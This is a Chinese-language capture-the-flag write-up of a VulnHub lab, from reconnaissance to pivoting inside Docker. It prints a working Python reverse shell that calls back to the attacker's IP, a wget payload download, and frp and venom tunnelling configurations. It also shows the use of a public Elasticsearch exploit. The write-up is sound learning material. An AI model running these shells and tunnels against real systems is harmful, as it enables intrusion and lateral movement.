前言:虽然本次靶场是跟着别人的教程做的,但是也收获了很多的知识。然后就是自己也还要努力,争取可以自己独立打完一个这样的靶场!
一、环境搭建
BOREDHACKERBLOG: SOCIAL NETWORK(中等难度),靶场环境来源于VulnHub
搭建环境我使用的是VirtualBox,然后还需要再同网段整一个kali,然后都用桥接模式!
二、信息收集
1、主机发现
目前我们只知道目标机器和我们在同一网段,所以我们要做一下当前网段的主机存活探测,找到目标的ip地址,也就是主机发现
使用kali自带的一个工具arp-scan扫描工具扫描局域网内的主机
arp-scan -l
扫到了一个ip为192.168.192.185的机器,这就是目标机器。
2、端口扫描
找到ip之后我们就开始端口扫描,看看他都开放了哪些服务。
使用nmap
namp -A 192.168.192.185
提示:如果对扫描的结果看的很蒙蔽的话,直接复制扔到chatgpt。
从结果分析我们可以看到他开放了22、5000两个端口。22端口的ssh服务我们可以用九头蛇爆破一下,当然我们先从5000端口的web服务入手。
我们可以看的出来这是一个后端语言为python的web服务。
3、目录扫描
打开网页时这样的
使用dirsearch去扫一下他的网站路径。
发现了一个/admin的路径,访问一下
二、渗透测试
1、反弹shell
访问之后可以看到出现了一个代码输入页面,提示我们输入代码来执行,应该是说网站会执行我们输入的代码,再结合刚才信息收集时发现目标后端语言是python,这里我们直接尝试用python的反弹shell脚本来获取目标权限
现在kali开启一个监听端口
nc -lvp 9999
反弹shell:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.192.204",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty; pty.spawn("sh")
成功连接后,发现我们是root权限。
2、服务发现
就在ls查找文件的时候看到了一个dockerfile
文件,此时就开始怀疑我们目前只是拿到了一个docker容器内主机的权限
验证是否只是拿到了一个docker容器内主机的权限:
cat /proc/1/cgroup
这个命令可以查看Linux 初始化进程 id:1 的 cgroup 中包含的文件,如果里面有 docker 镜像信息的时候,可以确定是 docker容器
接下来我们就是要跳出这个docker容器了。接下来就从内网层面入手了:
首先瞅瞅ip:
可以看到该docker容器当前处于 127.17.0.3
显然和宿主机的 IP 是不同的
docker 容器的这个网段可以认为是目标的内网网段,接下来要思考的是:
有没有其他主机呢?
其他主机有没有存在什么漏洞呢?
是否能通过漏洞获得更多信息呢?
3、内网主机存活探测
因为在内网没有工具,就挨个ping看哪个能ping通,命令如下:
for i in $(seq 1 65535);do ping -c 1 172.17.0.$i; done
最后看到有三个可以ping通。
4、内网穿透
因为我们只拿到了一台docker机器,并且处于内网中,但是接下来又对其他两台主机进行扫描,因为 kali 这些工具不能直接用在内网环境中,所以需要做隧道进行内网穿透,才能对另外两台主机进行渗透。推荐两个工具都特别的好用,一个是frp,一个是venom
frp下载地址:Releases · fatedier/frp (github.com)
venom下载地址:Release Venom v1.1.0 · Dliv3/Venom (github.com)
两个工具这里都讲一下,因为都特别好用:
4.1、frp
(1)把工具穿到内网环境中
我们使用python起一个http服务(工具放到当前路径下),然后内网机器使用wget下载
python -m http.server 6666
wget http://192.168.192.204:6666/xxx.tar.gz
上传之后我们解压配置:
可以看到他的目录结构:
frps指服务端,frpc指客户端
(2)在kali上部署服务端(frps.ini):
[common]
Bind_addr = 0.0.0.0 #服务端监听地址 默认0.0.0.0
bind_port = 7000 #服务端监听端口
dashboard_port = 7500 #状态以及代理统计信息展示,vpsip:7500可查看详情
dashboard_user = admin #访问用户
dashboard_pwd = password # dashboard_pwd访问密码
log_file = ./frps.log #log_file日志文件
log_level = info # log_level记录的日志级别
log_max_days = 3 # log_max_days日志留存3天
max_pool_count = 50 #max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
allow_ports = 40000-50000 #允许代理绑定的服务端端口
(2)内网中配置客户端(frpc.ini):
[common]
server_addr = vps的ip地址 #连接服务端的地址
server_port = 7000 #连接服务端的端口
tls_enable = ture #启用 TLS 协议加密连接
pool_count = 5 #连接池大小
[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true
(3)先启动服务端开始监听,在启动客户端
./frps -c frps.ini
./frpc -c frpc.ini
最后这样就是成功了:
4.2、venom
(1)上传解压同上边步骤一样
(2)首先kali上开启监听
./admin_linux_x64 -lport 7777
(2)目标回弹
./agent_linux_x64 -rhost 你的kali攻击机的ip -rport 7777
上边这样就是成功了
(3)开启代理
show——列出连接的节点
goto——切换到目标节点
socks——在本机的指定端口开启代理服务,通过该端口的数据都会经过代理节点
4.3、配置本机代理
以venom配置好的来示范:
现在代理服务是配置好了,但是我们的搭建代理的目标是让kali上的工具可以对目标进行操作,所以我们还需要挂载proxychains,修改**/etc/proxychains4.conf文件,注释掉最初的代理配置,添加本机8888端口**的代理配置,即:
vim /etc/proxychains4.conf
修改好之后kali上所有的工具使用时只要前面加上了proxychains就会流经代理节点
5、内网信息收集
内网穿透建立的连接使用nmap扫描目标机器的时候一定要加上-Pn再扫描,因为此时连接可能不是这么稳定,有可能探测不到然后nmap就认为目标没有存活,从而不去扫描,所以需要Pn使nmap默认主机存活
proxychains nmap -Pn -sT 172.17.0.1
172.17.0.1
172.17.0.2
可以看到172.17.0.2开启了一个9000的端口,我们深入了解一下
proxychains nmap -Pn -sT -p 9200 -sV 172.17.0.2
分析完之后可以看到9200端口上的是Elasticsearch 服务,版本为 1.4.2
6、漏洞利用
使用kali自带的searchsploit漏洞查找工具,这里我们直接用这个工具来查找有没有相关的漏洞和shellcode
使用方法: searchsploit + 想查找的信息
返回结果: 包含该信息的漏洞和shellcode
searchsploit Elasticsearch
直接把第一个文件复制到当前文件下,cat查看该文件发现是用python2写的
cp /usr/share/exploitdb/exploits/linux/remote/36337.py 36337.py
拿到172.17.0.2的root权限。
最终ls会找到一个passwd然后里边有账号密码,然后只有john用户可以登录,然后不是root权限,需要提权。由于我不会提权,后边就没有继续做了。
参考文章:
https://blog.csdn.net/qq_63844103/article/details/127583246
https://www.cnblogs.com/hackmang/p/14516969.html